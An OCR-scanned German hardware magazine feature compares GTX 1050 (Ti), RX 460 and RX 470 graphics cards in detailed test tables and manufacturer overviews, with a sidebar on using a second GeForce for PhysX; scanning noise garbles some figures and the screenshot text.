17,5 (PCB: 17,3)/3,4 cm; 1 x 6-Pol (vertikal) 


© Sehr kompakt; 5 Jahre Garantie 
© Leistungsschwacher Kühler 
© Nur 3 GiByte Speicher 


Wertung: 2,76 


22,3 (PCB 21,0)/3,5 cm; 1 x 6-Pol (vertikal) 
3,05 


Q Preis-Leistungs-Verháltnis 
© Guter Kühler, Dual-BIOS 
@ Nur 2 Jahre Garantie 


Wertung: 2,78 


24,6 (PCB 21,0)/3,5 cm; 1 x 6-Pol (vertikal) 
3,07 


© Guter Kühler, Dual-BIOS 
© 3 Jahre Garantie + wechselbare Lüfter 
@ Senkt ihren Boost unter Last stark 


Wertung: 2,79 


GRAFIKKARTEN 


Auszug aus Testtabelle 
mit 21 Wertungskriterien 


Produktname 
Hersteller/Webseite 


GTX 1050 Ti Strix O4G Gaming 


Asus (www.asus.com/de) 


RX 470 Strix OC 


Asus (www.asus.com/de) 


SILENT-AWARD 


Gigabyte 


Нагйшаге 


GTX 1050 Ti G1 Gaming 4G 
Gigabyte (www.gigabyte.de) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


Ca. € 180,-/befriedigend 


Ca. € 200,-/befriedigend 


Ca. € 180,-/befriedigend 


PCGH-Preisvergleich 


www.pcgh.de/preis/1527166 


www.pcgh.de/preis/1488369 


www.pcgh.de/preis/1526013 


Grafikeinheit; Codename (Fertigung) 


Geforce GTX 1050 Ti; GP107-400-A1 (14 nm) 


Radeon RX 470; Polaris 10 Pro (14 nm) 


Geforce GTX 1050 Ti, GP107-400-A1 (14 nm) 


2D-Takt GPU/RAM (Spannung) 


240/405 MHz (0,675 VGPU) 


300+/300 MHz (0,750-0,775 VGPU) 


215/405 MHz (0,675 VGPU) 


3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 1.380 (Boost: 1.797+)/3.504 MHz (+29/0 % ОС) 1.030+ (Boost: 1.250)/3.300 MHz (kein OC) 1.367 (Boost: 1.645+)/3.504 MHz (+18/0 96 OC) 

Ausstattung (20 %) 2,60 2,55 2,53 

Speichermenge/Anbindung 4.096 MiByte (128 Bit) 4.096 MiByte (256 Bit) 4.096 MiByte (128 Bit) 

Speicherart/Hersteller 7-Gbps-GDDR5 (Samsung K4G80325FB-HC28) 7-Gbps-GDDR5 (SK-Hynix H5GCAH24AJR-ROC; 1,5V) 7-Gbps-GDDR5 (Samsung K4G80325FB-HC28) 

Monitoranschlüsse 1 x Displayport 1.4, 1 x HDMI 2.0b, 2 x DVI-D 1 x Displayport 1.4, 1 x HDMI 2.0b, 2 x DVI-D 1 x Displayport 1.4, 3 x HDMI 2.0b, 1 x DVI-D 

Kühlung Direct CU 2, Dual-Slot, 2 DT-Heatpipes à 8 mm, 2 x 95 mm Direct CU 2, Dual-Slot, 2 Direct-Touch-Heatpipes à 8 mm, 2 x | Windforce 2x, Dual-Slot, 2 DT-Heatp. à 6 mm, 2 x 95 mm axial, 
axial, keine VRM-/RAM-Kühler; Backplate (ohne Pads) 95 mm axial, kleiner VRM-Kühler (RAM: blank) kleines VRM-Profil, RAM partiell gekühlt; Backplate inkl. Pads 

Software/Tools/Spiele GPU Tweak II (Tweak-Tool), Treiber, Software GPU Tweak II (Tweak-Tool), Treiber, Software Xtreme Engine (Tweak-Tool), Treiber 


Handbuch; Garantie 


Faltblatt (deutsch); 3 Jahre 


Faltblatt (deutsch); 3 Jahre 


altblatt (deutsch); 3 Jahre 


Kabel/Adapter/Beigaben 


Kabelbinder (Stoff); Code für World of Warships, Aufkleber 


Kabelbinder (Stoff); Code für World of Warships 


Sonstiges 


Eigenschaften (20 %) 
Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 


4+1-Spannungsversorgung, ТОР: 95 Watt; Lüfter drehen ab 
57 °C; bootet passiv; 4-Pol-PWM-Lüfteranschluss am Heck 


1,69 


35/58/59 Grad Celsius 


Custom-Platine (10 cm Höhe) mit 4+2 VRMs; GPU-TDP 95W; 
4-Pol-PWM-Lüfteranschluss am Heck der Karte 


2,26 
45/60/60 Grad Celsius 


4+1-Spannungsversorgung; ausgelesene TDP: 120 Watt; 
üfter drehen ab -60 °C 


1,65 
35/62/62 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,0 (passiv)/0,8 (45 %)/0,9 (47 %) Sone 


0,0 (passiv)/3,2 (57 %)/3,6 (60 %) Sone 


0,0 (passiv)/0,3 (37 96)/0,3 (37 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Unauffällig (erst ab hohen vierstelligen Fps) 


Unauffällig (erst ab hohen vierstelligen Fps) 


raktisch nicht wahrnehmbar (< 0,2 Sone) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


8/11/9 Watt 


15/45/33 Watt 


8/13/9 Watt 


Verbrauch Crysis 3/Anno 2070/Max. 


64/76/92 Watt (Powertarget: 100 Prozent) 


146/144/151 Watt (Powertune: Standard) 


67/67/68 Watt (Powertarget: 100 Prozent) 


GPU-OC bestanden? (+10/+15/+20 %) 


Nein (1.975)/nein (2.065)/nein (2.155 MHz) 


Ja (1.135)/ja (1.185)/ja (1.235 MHz) 


а (1.810)/nein (1.890)/nein (1.975 MHz) 


RAM-OC bestanden? (+10/+15/+20 %) 


Ja (3.855)/ja (4.030)/nein (4.205 MHz) 


Ја (3.630)/ja (3.795)/nein (3.960 MHz) 


a (3.855)/nein (4.030)/nein (4.205 MHz) 


Spannungsänderung in Tools möglich? 


Ja (GPU bis 100 %; Powerlimit bis 157 % (= 150W) 


Ja (GPU/RAM-Ctlr. bis 1,175 Volt), Powerlimit bis +50 % 


а (GPU bis 100 %; Powerlimit bis 125 % (= 150W) 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


FAZIT 
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3,22 


24,1 (PCB: 24,1)/3,5 cm; 1 x 6-Pol (vertikal) 


© Schnellste GTX 1050 Ti im Test 
© Lüfteranschluss an der Platine 
© Relativ teuer 


Wertung: 2,79 


24,2 (PCB 24,2)/3,5 cm; 1 x 6-Pol (vertikal) 
3,10 


© Relativ sparsam, ... 
©... aber daher schwacher Boost 
© Unnötig laut unter Last 


Wertung: 2,82 


22,0 (PCB: 21,0)/3,5 cm; 1 x 6-Pol (vertikal) 
3,32 


© Drei HDMI-Ausgänge 
© Beinahe unhörbar 
© Relativ teuer 


Wertung: 2,82 


www.pcgameshardware.de 


GTX 1050 (Ti) vs. 


RX 460/470 | GRAFIKKARTEN 


GRAFIKKARTEN 


Auszug aus Testtabelle 
mit 21 Wertungskriterien 


gë Ta. 
SILENT-AWARD 


M 
d on 1050 Ti Gaming X 4G. 


—— 
ENERGIE-SPARER 


EVGA 
GTX 1050 T $C Gaming 


; Нагйшаге 
Produktname RX 470 Red Devil GTX 1050 Ti Gaming X 4G GTX 1050 Ti SC Gaming 
Hersteller/Webseite Powercolor (www.powercolor.com/de) MSI (http://de.msi.com) EVGA (de.evga.com) 
Ca.-Preis/Preis-Leistungs-Verhältnis Ca. € 210,-/befriedigend Ca. € 180,-/ausreichend Ca. € 150,-/befriedigend 
PCGH-Preisvergleich www.pcgh.de/preis/1488318 www.pcgh.de/preis/1524111 www.pcgh.de/preis/1526004 
Grafikeinheit; Codename (Fertigung) Radeon RX 470; Polaris 10 Pro (14 nm) Geforce GTX 1050 Ti; GP107-400-A1 (14 nm) Geforce GTX 1050 Ti; GP107-400-A1 (14 nm) 
2D-Takt GPU/RAM (Spannung) 300--/300 MHz (0,825 VGPU) 203/405 MHz (0,675 VGPU) 203/405 MHz (0,675 VGPU) 


3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 
Ausstattung (20 %) 
Speichermenge/Anbindung 


1.125+ (Boost: 1.270)/3.500 MHz (0/6 % OC) 
2,53 
4.096 MiByte (256 Bit) 


1.354 (Boost: 1.7344)/3.504 MHz (+25/0 % OC) 
2,75 
4.096 MiByte (128 Bit) 


1.354 (Boost: 1.557+)/3.504 MHz (+12/0 % OC) 
2,75 
4.096 MiByte (128 Bit) 


Speicherart/Hersteller 


7-Gbps-GDDR5 (SK-Hynix H5GCAH24AJR-ROC; 1,5V) 


7-Gbps-GDDR5 (Samsung K4G80325F8-HC28) 


7-Gbps-GDDR5 (Samsung K4G80325FB-HC28) 


Monitoranschlüsse 


3 x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 


1 x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 


1 x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 


Kühlung 


Eigendesign, Dual-Slot, 4 Heatpipes (2 x 8, 2 x 6 mm), 2 x 90 
mm axial, Korpus bedeckt VRMs & RAM; Backplate ohne Pads 


Twin Frozr VI, Dual-Slot, 1 DT-Heatpipe à 8 mm Durchmesser, 
2 x 85 mm axial, kein VRM-/RAM-Kühler 


igendesign, Dual-Slot, Alu-Radiator ohne Heatpipes, 1 x 90 
mm axial, keine VRM-/RAM-Kühler 


Software/Tools/Spiele 


Treiber 


Afterburner & Gaming App (Tweak-Tools), Treiber 


recision X OC (Tweak-Tool), Treiber 


Handbuch; Garantie 


Faltblatt (deutsch); 2 Jahre 


Faltblatt (deutsch); 3 Jahre 


Gedruckt (deutsch); 3 Jahre (-KR-Suffix) 


Kabel/Adapter/Beigaben 


„Devilclub“-Einladung (für Support, BIOS-Updates etc.) 


Metall-Aufkleber 


Sonstiges 


Eigenschaften (20 %) 
Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 


Dual-BIOS-Schalter; GPU-TDP 110 Watt; Lüfter drehen ab -59 
°С; PCGH-Tipp: 60 % PWM 3D -> 3,4 Sone (50 96: 1,7) 

2,51 

50/70/70 Grad Celsius 


3+1-Spannungsversorgung; ausgelesene TDP: 90 Watt; 
Lüfter drehen ab ~63 °C; bootet passiv 


1,72 
30/67/67 Grad Celsius 


3+1-Versorgung; ausgelesene TDP: 75 Watt; PCB hat Lötstellen 
ür 6-Pol-Buchse; Lüfter laufen immer 


1,68 
28/61/61 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,0 (passiv)/4,6 (66 %)/4,7 (67 96) Sone 


0,0 (passiv)/0,3 (34 %)/0,3 (34 96) Sone 


0,2 (30 %)/0,4 (37 %)/0,4 (37 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Überdurchschnittlich (Zirpen/Fiepen ab hohen zweistell. Fps) 


Praktisch nicht wahrnehmbar (« 0,2 Sone) 


raktisch nicht wahrnehmbar (< 0,2 Sone) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


17/45/38 Watt 


5,5/10/7 Watt 


6/9/7 Watt 


Verbrauch Crysis 3/Anno 2070/Max. 


173/174/182 Watt (Powertune: Standard) 


66/75/76 Watt (Powertarget: 100 Prozent) 


55/56/59 Watt (Powertarget: 100 Prozent) 


GPU-OC bestanden? (+10/+15/+20 %) 


Ja (1.240)/ja (1.295)/nein (1.350 MHz) 


Ja (1.905)/nein (1.995)/nein (2.080 MHz) 


а (1.715)/nein (1.790)/nein (1.870 MHz) 


RAM-OC bestanden? (+10/+15/+20 96) 


Ja (3.850)/ja (4.025)/nein (4.200 MHz) 


Ja (3.855)/ja (4.030)/nein (4.205 MHz) 


a (3.855)/nein (4.030)/nein (4.205 MHz) 


Spannungsänderung in Tools möglich? 


Ja (GPU/RAM-Ctlr. bis 1,175 Volt), Powerlimit bis +50 % 


Ja (GPU bis 100 %; Powerlimit bis 125 % (= 113W) 


a (GPU bis 100 96; Powerlimit auf 100 % = 75W fixiert) 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


FAZIT 


24,0 (PCB 24,0)/3,5 cm; 1 x 8-Pol (vertikal) 
3,05 


© Dual-BIOS 
© Umfassender, starker Kühler, ... 
©... der unter Last viel zu laut ist 


Wertung: 2,84 


22,9 (PCB: 21,1)/3,5 cm; 1 x 6-Pol (vertikal) 
3,28 


© Beinahe unhörbar 
© Powerlimit erlaubt starkes Overclocking 
© Relativ teuer 


Wertung: 2,86 


5,2 (PCB: 14,5)/3,5 cm; keiner 
3,41 


© Hohe Energie-Effizienz 
© Kompakt, leise, ohne Strombuchse 
© Kaum übertaktbar 


Wertung: 2,93 


GRAFIKKARTEN 


Auszug aus Testtabelle 
mit 21 Wertungskriterien 


Produktname 
Hersteller/Webseite 


EET U} 
ENERGIE-SPARER 


Zotac 
GTX 1050 Ti OC Edition 


Нагйшаге 


GTX 1050 Ti OC Edition 


Zotac (www.zotac.com) 


GTX 1050 Expedition 


Asus (www.asus.com/de) 


RX 460 Strix 04G 


Asus (www.asus.com/de) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


Ca. € 175,-/ausreichend 


Ca. € 140,-/ausreichend 


Ca. € 145,-/ausreichend 


PCGH-Preisvergleich 


www.pcgh.de/preis/1525243 


www.pcgh.de/preis/1525209 


www.pcgh.de/preis/1490013 


Grafikeinheit; Codename (Fertigung) 


Geforce GTX 1050 Ti; GP107-400-A1 (14 nm) 


Geforce GTX 1050; GP107-300-A1 (14 nm) 


Radeon RX 460; Polaris 11 Pro (14 nm) 


2D-Takt GPU/RAM (Spannung) 253/405 MHz (0,675 VGPU) 139/405 MHz (0,675 VGPU) 214/300 MHz (0,800 VGPU) 
3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 1.392 (Boost: 1.658+)/3.504 MHz (+19/0 96 OC) 1.354 (Boost: 1.493+)/3.504 MHz (+3/0 % ОС) 1.2254 (Boost: 1.236)/3.500 MHz (+2/0 % OC) 
Ausstattung (20 %) 2,73 3,05 2,65 

Speichermenge/Anbindung 4.096 MiByte (128 Bit) 2.048 MiByte (128 Bit) 4.096 MiByte (128 Bit) 


Speicherart/Hersteller 


7-Gbps-GDDR5 (Samsung KAG80325FB-HC28) 


7-Gbps-GDDR5 (Samsung KAG80325FB-HC28) 


7-Gbps-GDDR5 (Micron MT51J256M32HF-70; 1,5V) 


Monitoranschlüsse 


1 x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 


1 x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 


1 x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 


Kühlung Eigendesign, Dual-Slot, 2 Heatpipes à 6 mm, 2 x 65 mm axial, | Eigendesign, Dual-Slot, Alu-Radiator ohne Heatpipes, 2 x 75 | Direct CU 2, Dual-Slot, 2 DT-Heatpipes à 6 mm, 2 x 75 mm 
keine VRM-/RAM-Kühler mm axial, keine VRM-/RAM-Kühler axial, kleiner VRM-Kühler (RAM: blank) 

Software/Tools/Spiele Firestorm (Tweak-Tool), Treiber GPU Tweak II (Tweak-Tool), Treiber GPU Tweak II (Tweak-Tool), Treiber, Software 

Handbuch; Garantie Faltblatt (dt.); 2 Jahre (5 nach Registrierung bei Zotac) altblatt (deutsch); 3 Jahre Faltblatt (deutsch); 3 Jahre 

Kabel/Adapter/Beigaben = Code für World of Warships Kabelbinder (Stoff); Code für World of Warships 

Sonstiges Single-Slot-Blende; ausgelesene TDP: 75 Watt; Lüfter drehen |Ausgelesene TDP: 65 Watt; Lüfter drehen ab -55 °C; 4-Pol-Strombuchse am Heck; 4--1-Versorgung; GPU-TDP: 72W; 
immer; PCB hat Lötstellen für 6-Pol-Strombuchse CB hat Lötstellen für 6-Pol-Strombuchse PCGH-Tipp: 50 % PWM 3D -> 1,3 Sone Lautheit 

Eigenschaften (20 %) 2,02 1,65 2,03 

Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 28/52/52 Grad Celsius 34/62/62 Grad Celsius 37/83/84 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


1,0 (45 %)/1,5 (49 %)/1,5 (49 %) Sone 


0,0 (passiv)/0,5 (37 %)/0,5 (37 %) Sone 


0,0 (passiv)/1,6 (53 %)/1,6 (53 96) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Praktisch nicht wahrnehmbar (« 0,2 Sone) 


raktisch nicht wahrnehmbar (< 0,2 Sone) 


Unauffällig (erst ab hohen vierstelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


6/9/7 Watt 


6/9/7 Watt 


9/22/18 Watt 


Verbrauch Crysis 3/Anno 2070/Max. 


58/54/58 Watt (Powertarget: 100 Prozent) 


55/55/55 Watt (Powertarget: 100 Prozent) 


88/98/105 Watt (Powertune: Standard) 


GPU-OC bestanden? (+10/+15/+20 %) 


Ja (1.825)/nein (1.905)/nein (1.990 MHz) 


a (1.640)/ja (1.715)/nein (1.790 MHz) 


Nein (1.350)/nein (1.410)/nein (1.470 MHz) 


RAM-OC bestanden? (+10/+15/+20 %) 


Ja (3.855)/ja (4.030)/nein (4.205 MHz) 


a (3.855)/nein (4.030)/nein (4.205 MHz) 


Ja (3.850)/nein (4.025)/nein (4.200 MHz) 


Spannungsänderung in Tools möglich? 


Ja (GPU bis 100 %; Powerlimit auf 100 % = 75W fixiert) 


a (GPU bis 100 %; Powerlimit auf 100 % = 65W fixiert) 


Ја (GPU +/- 96 mV), max. Powerlimit bis +50 % 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


FAZIT 


www.pcgameshardware.de 


16,0 (PCB: 14,5)/3,5 cm; keiner 
3,32 


© Sehr hohe Energie-Effizienz 
© Kompaktes Design (ITX-tauglich) 
© Im Leerlauf unnötig laut 
‚94 


Wertung 


21,1 (PCB: 21,0)/3,5 cm; keiner 
3,65 


© Leise 
© Sparsam 
© Nur 2 GiByte (wie jede GTX 1050) 


Wertung: 3,13 


19,5 (PCB 18,2)/3,5 cm; 1 x 6-Pol (vertikal) 
3,67 


© 4 GiByte Speicher 
© Leiser Kühler 
© Stromdurstiger als GTX 1050 (Ti) 


Wertung: 3,14 
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GRAFIKKARTEN | GTX 1050 (Ti) vs. RX 460/470 


Physx: GTX 1050 (Ti) als Teilchenbeschleuniger 


E tanpu Systemsteuerung, - a x 
Date Bearbeiten Desktop 30-Ematelungen Hile 


Ə XX-Dnstelungen 
Bidenstelungen mt Vorschau ansasen | 
X Gratehunqen versaiten 


N ADU PhyaX% a ene ече Prysk Engne, de mie der GPU-Beschieunigung lortastache Echtcet Physkefiehte t 
ara ee lessainden Betzachtungeläche venen 


u 
Ашё ändern 


елор Гагена гоне anpassen Stellen Sie Folgendes ata: 
Surreund Kanfiguraten. рух Einstellungen. 
- - zeen: 
Geforce GTX 1050 S 
ir Phys reservieren 
Phys» Gefcece GTX 1056 
pe 
— - 
== ETT 
[d Li z 


< > 


Geforce-Treiber: Wer zwei Nvidia-GPUs installiert, kann unter „Surround, PhysX konfi- 
gurieren” eine der beiden Grafikkarten als Physikbeschleuniger abstellen. 


Batman: Arkham Knight: Die sehenswerten Turbulence-Effekte (dynamischer Rauch 
und Nebel) benötigen zur Darstellung eine moderne Geforce-GPU. 


eit der Geforce 8800 GTX er- 

laubt es Nvidia, Berechnungen 
abseits reiner Grafik auf der GPU 
auszuführen (s. PCGH 12/2016, S. 
32 ff.). Dazu zählt auch Physx, eine 
im Jahr 2008 akquirierte und im 
Laufe der Jahre von Nvidia stark 
weiterentwickelte Physik-Engine. 
Diese kommt in zahlreichen Spie- 
len zum Einsatz und wird dort vom 
Hauptprozessor verwaltet. Die Op- 
tion, Physikberechnungen einem 
(Nvidia-)Grafikchip aufzubürden, 
trifft nur auf Effektphysik zu und 
ist seltener anzutreffen. So bieten 
unter anderem Fallout 4, Batman: 
Arkham Knight, Assassin’s Creed 
4: Black Flag, Killing Floor 2, Bor- 
derlands 2 und Mafia 2 sehens- 
werte Zusatzeffekte, 
Geforce-GPU im Rechner werkelt. 
Je nach Implementierung kosten 
die GPU-beschleunigten Trümmer- 
teile, Rauch- und Nebelschwaden 


sofern eine 


reichlich Rechenleistung. Falls Ihre 
Geforce-Grafikkarte unter der kom- 
binierten Grafik- und Physiklast zu- 
sammenbricht, kann es sich lohnen, 
ihr einen Assistenten zuzuweisen: 
eine zweite Geforce, welche sich 
ausschließlich um die Physikkalku- 
lationen kümmert. 


Einrichtung 

Vorweg: Nvidia 
Radeon-Besitzern, 
als Physikbeschleuniger zu ver- 


untersagt es 
eine Geforce 
wenden; der Hersteller begründet 
diese Entscheidung damit, dass 


man keinen Support für Radeon- 
Geforce-Kombinationen 
möchte. Unter bestimmten Umstän- 


leisten 


den und mit älteren Geforce-GPUs 
funktioniert's doch - inoffiziell und 
auf eigene Gefahr, aber oft sehr ef- 
fektiv. Interessenten werfen einen 
Blick in das PCGH-Forum unter 
http://tinyurl.com/nuw9f3u, wo 
Mitglied Gordon-1979 emsig an 
seiner Modifikation arbeitet. 


Wer bereits eine Geforce als Haupt- 
karte verwendet, kann einfach ein 
zweites Nvidia-Modell daneben 
stecken. Der Treiber erkennt den 
Helfer und bietet im entsprechen- 
den Treibermenü (siehe Bild) die 
Option, sie für Physx einzuspannen. 


Nutzen 

Abhängig von Ihrer Hardware-Kom- 
bination und dem Spiel wirkt sich 
der Physikbeschleuniger fühlbar bis 
gar nicht aus. Grundsätzlich gilt: Je 
mehr Physx-Effekte dargestellt wer- 
den, desto größer die Last und desto 
wirksamer ein entsprechender Be- 
schleuniger. Eine zu alte/langsame 
Physik-GPU kann das Geschehen 
auch ausbremsen! Eine sinnvolle 
Selektion finden Sie in den Bench- 
marks unten. Randnotiz: Batman: 
Arkham Knight verlangt für seine 
hübschen Raucheffekte eine Max- 
well-GPU oder neuer. Waren unsere 
Hilfsphysiker GTX 650 und GT 640 
für Physx zuständig, ließen sich die 
Effekte nicht aktivieren. (rv) 


Batman: Zweitkarte als PPU sehr lohnenswert 


Mafia 2: PPU bringt nur geringe Vorteile 


Batman: Arkham Knight, max. Details, UHD - int. Benchmark mit Fraps (90 Sek.) 
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System: Palit GTX 980 Ti Super Jetstream @ ~ 1.380 MHz, Core i7-6800K 4,4 GHz (Ring/L3: 3,6 GHz), MSI 
Х99А Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1607), GF 375.70 WHQL (HQ) 


Bemerkungen: Bereits eine GTX 650 entlastet die GTX 980 Ti fühlbar bei den Physikberechnungen. 


System: Palit GTX 980 Ti Super Jetstream @ - 1.380 MHz, Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), 
MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1607), GF 375.70 WHQL (HQ) 
Bemerkungen: In Mafia 2 aus dem Jahr 2010 kommt eine GTX 980 Ti allein gut klar — sogar in Ultra HD. 
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Herstellerdesigns in der Übersicht 


gal, wie viele Modelle sich bei uns im 

Labor einfinden, alle verfügbaren Versi- 
onen durchzutesten, ist unmóglich - zumal 
die Hersteller stándig nachlegen oder ilte- 
re Varianten aus dem Programm nehmen. 
Damit Sie dennoch den vollen Überblick 
erhalten, haben wir uns durch die Herstel- 
ler Websites und den PCGH-Online-Preis- 
vergleich gegraben. Herausgekommen ist 
diese Komplettübersicht von Grafikkarten 
zwischen rund 150 und 300 Euro, welche 
alle Ende November erhältlichen und liefer- 
baren Modelle auflistet - ideal, um das Weih- 
nachtsshopping gezielt anzugehen. 


Mehrfach gefiltert 

Selbstverstándlich haben wir nicht einfach 
das Internet abgeschrieben. Die Daten wur- 
den alphabetisch nach Herstellernamen 
sortiert und teilweise um nicht óffentliche 
Angaben (u. a. die des Powerlimits) ergänzt. 
Bedauerlicherweise kommuniziert nicht 
jeder Hersteller alle Daten, sodass die Anga- 
ben trotz umfassender Recherche inklusive 
Plausibilitätsprüfung nicht vollständig sind. 


Außerdem haben wir einen Abgleich zwi- 
schen den Modellen durchgeführt, welche 
auf den jeweiligen Hersteller Websites ge- 


Zwischen der Einsteiger- und der 
High-End-Version eines Grafikkarten- 
modells klafft oft eine große Lücke 

— auch optisch. Bei der GTX 1050 

Ti ist von rund 15 bis 30 cm Länge 
alles dabei. 


Bei der Radeon RX 480 und 470 
fehlen besonders kurze und somit 
ITX-taugliche Modelle, hier geht's 
erst ab 22 cm los (XFX Radeon RX 
470 Single Fan) 


Geforce GTX 1050 Ti 
Hersteller | Modell GPU-Basistakt | GPU-Boost Speicher Kühllósung Länge Strom- | Powerlimit 
(MHz) (MHz) (MHz) (mm) buchse (Watt) 

Nvidia GTX 1050 Ti Referenzvorgabe .290 392 3.504 2 Slots, 1 Lüfter nicht erhältlich - 75 
Asus GTX 1050 Ti Strix OC 1.392 ‚506 3.504 2 Slots, 2 Lüfter 241 1x6Pol | unbekannt 
Asus GTX 1050 Ti Strix 1.290 .392 3.504 2 Slots, 2 Lüfter 241 1x6Pol | unbekannt 
Asus GTX 1050 Ti Dual 1.290 .392 3.504 2 Slots, 2 Lüfter, nur Alu (keine Heatpipes) 212 - 15 
Asus GTX 1050 Ti 1.290 .392 3.504 2 Slots, 1 Lüfter, nur Alu (keine Heatpipes) 192 - 75 
EVGA GTX 1050 Ti FTW Gaming 1.379 .493 3.504 2 Slots, 2 Lüfter 257 1 x 6 Pol 120 
EVGA GTX 1050 Ti FTW DT Gaming .290 1.392 3.504 2 Slots, 2 Lüfter 257 1 x 6 Pol 120 
EVGA GTX 1050 Ti SSC Gaming .366 1.480 3.504 2 Slots, 2 Lüfter 229 - [5 
EVGA GTX 1050 Ti SC Gaming ‚354 1.468 3.504 2 Slots, 1 Lüfter, nur Alu (Кеїпе Heatpipes) 45 - 75 
EVGA GTX 1050 Ti Gaming .290 1.392 3.504 2 Slots, 1 Lüfter, nur Alu (keine Heatpipes) 145 - 75 
Gainward | GTX 1050 Ti .290 .392 3.504 2 Slots, 1 Lüfter, nur Alu (keine Heatpipes) 161 - 75 
Gigabyte GTX 1050 Ti G1 Gaming 4G .392 1.506 3.504 2 Slots, 2 Lüfter 219 1 x 6 Pol 150 
Gigabyte GTX 1050 Ti Windforce OC 4G .354 .468 3.504 2 Slots, 2 Lüfter 229 1x 6 Pol 150 
Gigabyte GTX 1050 Ti OC 4G .341 1.455 3.504 2 Slots, 2 Lüfter 191 - 75 
Gigabyte | GTX 1050 Ti 05 4G .316 .430 3.504 2 Slots, 1 Lüfter, nur Alu (keine Heatpipes) 172 - 75 
nno 3D GTX 1050 Ti Twin X2 ‚290 ‚392 3.504 2 Slots, 2 Lüfter, nur Alu (Кеїпе Heatpipes) 95 - 75 
nno 3D GTX 1050 Ti Compact .290 ‚392 3.504 2 Slots, 1 Lüfter, nur Alu (Кеїпе Heatpipes) 45 - 75 
KFA2 GTX 1050 Ti OC .303 417 3.504 2 Slots, 1 Lüfter, nur Alu (Кеїпе Heatpipes) 96 1 x 6 Pol 120 

SI GTX 1050 Ti Gaming X 4G .379 .493 3.554 2 Slots, 2 Lüfter 229 1 x 6 Pol 95 

SI GTX 1050 Ti Gaming 4G .316 .430 3.504 2 Slots, 2 Lüfter 229 1 x 6 Pol 95 

SI GTX 1050 Ti 4GT OC .341 ‚455 3.504 2 Slots, 2 Lüfter, nur Alu (Кеїпе Heatpipes) 215 - 75 

SI GTX 1050 Ti 4G OC .341 .455 3.504 2 Slots, 1 Lüfter, nur Alu (keine Heatpipes) 177 - 75 

SI GTX 1050 Ti 4G .290 .392 3.504 2 Slots, 1 Lüfter, nur Alu (keine Heatpipes) 177 - 75 
Palit GTX 1050 Ti Storm X .290 392 3.504 2 Slots, 1 Lüfter, nur Alu (keine Heatpipes) 166 - 5 
PNY GTX 1050 Ti XLR8 OC .366 .480 3.504 2 Slots, 2 Lüfter 245 1x6Pol | unbekannt 
PNY GTX 1050 Ti .290 .392 3.504 2 Slots, 1 Lüfter, nur Alu (keine Heatpipes) 178 - 75 
Zotac GTX 1050 Ti OC .392 .506 3.504 2 Slots, 2 Lüfter 174 - 75 
Zotac GTX 1050 Ti Mini 1.303 .417 3.504 2 Slots, 1 Lüfter, nur Alu (keine Heatpipes) 145 - 95 
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Geforce GTX 1060 6GB: Herstellerdesigns in der Übersicht 


Hersteller | Modell Speicher- | GPU-Basistakt Typ. Boost Speichertakt Kühllósung Strom- | Powerlimit 
kapazität (MHz) (MHz) (MHz) zufuhr (Watt) 

Nvidia GTX 1060 Founders Edition 6 GiByte ‚506 ‚708 4.007 2 Slots, 1 Lüfter x 6 Po 120 
Asus GTX 1060 Strix 06G Gaming 6 GiByte .620 .847 4.007 2 Slots, 3 Lüfter x 8 Po 156 
Asus GTX 1060 Strix 6G Gaming 6 GiByte 506 ‚708 4.007 2 Slots, 3 Lüfter x 8 Po unbekannt 
Asus GTX 1060 Dual 06G 6 GiByte .569 .785 4.007 2 Slots, 2 Lüfter x 6 Po unbekannt 
Asus GTX 1060 Dual 6 GiByte .506 .708 4.007 2 Slots, 2 Lüfter x 6 Po unbekannt 
EVGA GTX 1060 FTW+ Gaming 6 GiByte .632 .860 4.007 2 Slots, 2 Lüfter x 8 Po 150 
EVGA GTX 1060 FTW+ DT Gaming 6 GiByte ‚506 .708 4.007 2 Slots, 2 Lüfter x 8 Po 50 
EVGA GTX 1060 SSC Gaming 6 GiByte .607 .835 4.007 2 Slots, 2 Lüfter x 8 Po 20 
EVGA GTX 1060 SC Gaming 6 GiByte .607 .835 4.007 2 Slots, 1 Lüfter x 6 Po 20 
EVGA GTX 1060 Gaming 6 GiByte .506 ‚708 4.007 2 Slots, 1 Lüfter x 6 Po 120 
Gainward | GTX 1060 6GB Phoenix GS 6 GiByte .620 .847 4.007 2,5 Slots, 2 Lüfter x 6 Po 20 
Gainward | GTX 1060 6GB Phoenix 6 GiByte .506 .708 4.007 2,5 Slots, 2 Lüfter x 6 Po 20 
Gainward | GTX 1060 6GB 6 GiByte ‚506 .708 4.007 2 Slots, 2 Lüfter x 6 Po 20 
Gigabyte | GTX 1060 Xtreme Gaming 6 GiByte .620 .847 4.082 2 Slots, 2 Lüfter x 8 Po vmtl. 200 
